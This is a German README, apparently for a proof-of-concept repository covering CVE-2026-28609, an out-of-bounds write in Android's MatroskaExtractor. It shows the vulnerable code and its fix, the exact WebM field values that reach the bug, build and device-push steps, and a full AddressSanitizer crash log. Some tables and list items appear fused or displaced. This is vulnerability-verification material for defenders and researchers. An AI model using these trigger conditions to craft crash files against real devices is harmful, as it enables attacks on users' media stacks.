
Proof-of-Concept und instrumentierte Reproduktions-Harness für CVE-2026-28609, einen Out-of-Bounds-Schreibvorgang in Androids MatroskaExtractor, der über eine manipulierte WebM-Datei mit einer Big-Endian-PCM-Audiospur erreichbar ist.
Proof-of-Concept, instrumentierte Reproduktions-Harness und technischer Write-up für CVE-2026-28609, ein Out-of-Bounds-Write im MatroskaExtractor von Android, erreichbar über eine manipulierte WebM-Datei mit einer Big-Endian-PCM-Audiospur.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppMatroskaSource::read() im MatroskaExtractor von Android enthält eine
PCM-Big-Endian-Byte-Swap-Schleife, die einen Frame-Datenzeiger auf
uint16_t * castet, bevor frame->range_offset() addiert wird, ein
Byte-Offset. Da die C-Zeigerarithmetik auf einem uint16_t * den Offset
mit sizeof(uint16_t) = 2 skaliert, liegt der resultierende Zeiger
2 * range_offset Bytes hinter dem Anfang des Puffers, nicht
range_offset Bytes.
Wenn range_offset > 0, liest und schreibt die Schleife ein oder mehrere
Bytes über das Ende des MediaBuffer des Frames hinaus. Auf einem Gerät
ohne ASan gelingt der Über-Lesevorgang stillschweigend, und der
Über-Schreibvorgang beschädigt das Byte unmittelbar nach dem Puffer.
Die verwundbare Zeile:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
Der Upstream-Fix castet den Zeiger auf uint8_t *, bevor der Offset
angewendet wird:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
Einen funktionierenden, reproduzierbaren Trigger für CVE-2026-28609, verifiziert unter AddressSanitizer auf einem echten Android-14-Gerät. Das Repository enthält:
range_offset treibt.dlopen
lädt, GETEXTRACTORDEF aufruft und Frames aus der Datei liest.Das Ergebnis auf einem verwundbaren Gerät:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
Der verwundbare Zweig erfordert, dass alle folgenden Bedingungen erfüllt sind:
| Bedingung | Quelle |
|---|---|
Die ersten drei werden erfüllt, indem der Track mit der Codec-ID
A_PCM/INT/BIG und einer Bittiefe von 16 deklariert wird. Die vierte ist
die interessante.
range_offset wird nur in MatroskaSource::setWebmBlockCryptoInfo() auf
einen von Null verschiedenen Wert gesetzt, das aus readBlock() unter
der Bedingung aufgerufen wird:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
Daher muss die Trigger-Datei Folgendes erfüllen:
mIsWebm — das EBML-Element DocType muss "webm" sein, nicht
"matroska".mEncrypted — der Track muss ContentEncodings mit
ContentEncodingType = 1 (Encryption) und einer ContentEncKeyID
deklarieren.0x1) 0 ist, was
anzeigt, dass der Frame unverschlüsselt, aber content-encoded ist.
Dies nimmt den else-Zweig in setWebmBlockCryptoInfo, der
set_range(1, len - 1) aufruft.Nach dem Strippen ist range_offset = 1 für jeden Frame. Der verwundbare
Zweig berechnet dann (uint16_t *)data + 1, was um 2 Bytes voranschreitet,
und die Schleife liest/schreibt Bytes [2, 2 + range_length) — ein Byte
über das Ende der 65-Byte-Allokation hinaus (64-Byte-Frame + 1-Byte-Signal).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
Das Signal-Byte 0x00 wird durch set_range(1, 64) entfernt, wodurch
ein 64-Byte-Frame innerhalb einer 65-Byte-Allokation verbleibt. Die
verwundbare Zeigerarithmetik schreibt dann bei Byte-Offset 2 bis 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
Upstream-Abhängigkeiten, die vom Benutzer vor dem Build geklont werden:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make$ANDROID_NDK_HOMEadb im PATH (Linux, oder adb.exe aus WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
Wenn Ihr AOSP-Baum das modulare Extraktor-Layout
(av/media/module/extractors/mkv/) verwendet, ist keine weitere
Anpassung erforderlich. Wenn er das ältere Layout
(av/media/libstagefright/matroska/) verwendet, siehe die Build-Skripte
für die Variable MKV.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
Setzen Sie ANDROID_API passend zu Ihrem Zielgerät (z. B. 34 für
Android 14).
./scripts/run.sh
Das Skript run.sh führt vier Schritte in dieser Reihenfolge aus:
build_foundation.sh — kompiliert 28 Quelldateien aus
av/media/module/foundation/ und av/media/module/metadatautils/
in plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — kompiliert MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc und linkt sie mit dem Archiv
zu libmkvextractor_asan.so.build_harness.sh — kompiliert harness_c_abi mit -shared-libsan.poc.mkv nach
und führt den Harness aus.Die Build-Skripte erkennen fehlende Include-Wurzeln automatisch. Wenn
der Compiler fatal error: 'X' file not found meldet, durchsucht das
Skript die Abhängigkeitsbäume, findet das übergeordnete Verzeichnis von
X und hängt es an include_dirs.conf an. Deshalb wächst
include_dirs.conf während des ersten Builds. Sobald alle Header
entdeckt sind, stabilisiert sich die Datei und nachfolgende Builds sind
deterministisch.
Auf einem verwundbaren Gerät erzeugt der Harness:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
Drei Zahlen bestätigen den Trigger:
WRITE of size 2 (oder READ, wenn ASan die Lesehälfte von
data[i] = ntohs(data[i]) zuerst erwischt)65-byte region — die Frame-Allokation besteht aus 64 Datenbytes plus
dem 1-Byte-Verschlüsselungssignal0 bytes after — der Zugriff landet auf dem ersten Byte nach der
AllokationsetWebmBlockCryptoInfo
(Signal-Byte 0x03) erfordern, der von diesem Generator nicht
ausgeübt wird./data/local/tmp
wird berührt. Das Plugin wird nur vom Harness-Prozess geladen.Der Generator enthält einen Verifizierer. Führen Sie ihn vor dem Pushen aus:
python3 exploit/generator.py poc.mkv
Erwartet:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
Jedes erforderliche Feld wird geprüft: DocType, TrackType, CodecID,
BitDepth, Channels, ContentEncodingType, ContentEncodingScope,
ContentEncAlgo und ContentEncKeyID. Wenn ein Feld falsch ist, beendet
sich der Generator mit FAIL und gibt die spezifische Abweichung aus.
| Datum | Ereignis |
|---|---|
| 2026-03-02 | CVE von Google reserviert |
| 2026-09-08 | Öffentliche Offenlegung im Android Security Bulletin |
| 2026-09-09 | Fix in LineageOS lineage-20.0 gemergt (Change 497992) |
Dieses Repository wird ausschließlich für defensive Sicherheitsforschung und Schwachstellenverifikation veröffentlicht. Es ist gedacht für:
Verwenden Sie diesen Code nicht auf Geräten, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Das Ausführen des Harness auf einem Gerät, das nicht Ihnen gehört, oder die Verwendung des Generators zur Erstellung von Trigger-Dateien zur Verbreitung kann gegen Computer-Missbrauchsgesetze in Ihrer Jurisdiktion und gegen GitHubs Acceptable Use Policy verstoßen.
Der Autor billigt die Verwendung dieser Forschung für böswillige Zwecke nicht. Die vom Generator erzeugte Trigger-Datei ist darauf ausgelegt, eine bestimmte Funktion unter AddressSanitizer zum Absturz zu bringen; sie enthält keine ausführbare Nutzlast, modifiziert das System nicht und besteht nicht über den Harness-Prozess hinaus.
Es wird keine Gewährleistung übernommen. Der Code wird wie besehen bereitgestellt. Der Autor übernimmt keine Haftung für Schäden, die durch Missbrauch oder durch Ausführen des Harness auf Produktionshardware entstehen.
Wenn Sie ein Hersteller sind und der Ansicht sind, dass dieses Repository Material enthält, das im Rahmen einer koordinierten Offenlegung behandelt werden sollte, öffnen Sie ein Issue, und der Autor wird innerhalb von 72 Stunden antworten.
Dieses Projekt wird unter der Apache-2.0-Lizenz veröffentlicht. Siehe
LICENSE für den vollständigen Text.
Copyright © 2026 — die CVE-2026-28609-PoC-Mitwirkenden.
Benennen Sie dies nach dem Klonen in include_dirs.conf um. Dies ist der
Ausgangspunkt. Die Build-Skripte erweitern sie während des ersten Laufs.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleNach dem Klonen in build.conf umbenennen.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| Track ist PCM |
mType == PCM |
| Big-Endian | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16-Bit-Samples | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
Frame hat von Null verschiedenen range_offset | Gesetzt durch set_range(offset, ...) |
/data/local/tmp| 2026-09 | Dieses PoC entwickelt und gegen ein echtes Gerät verifiziert |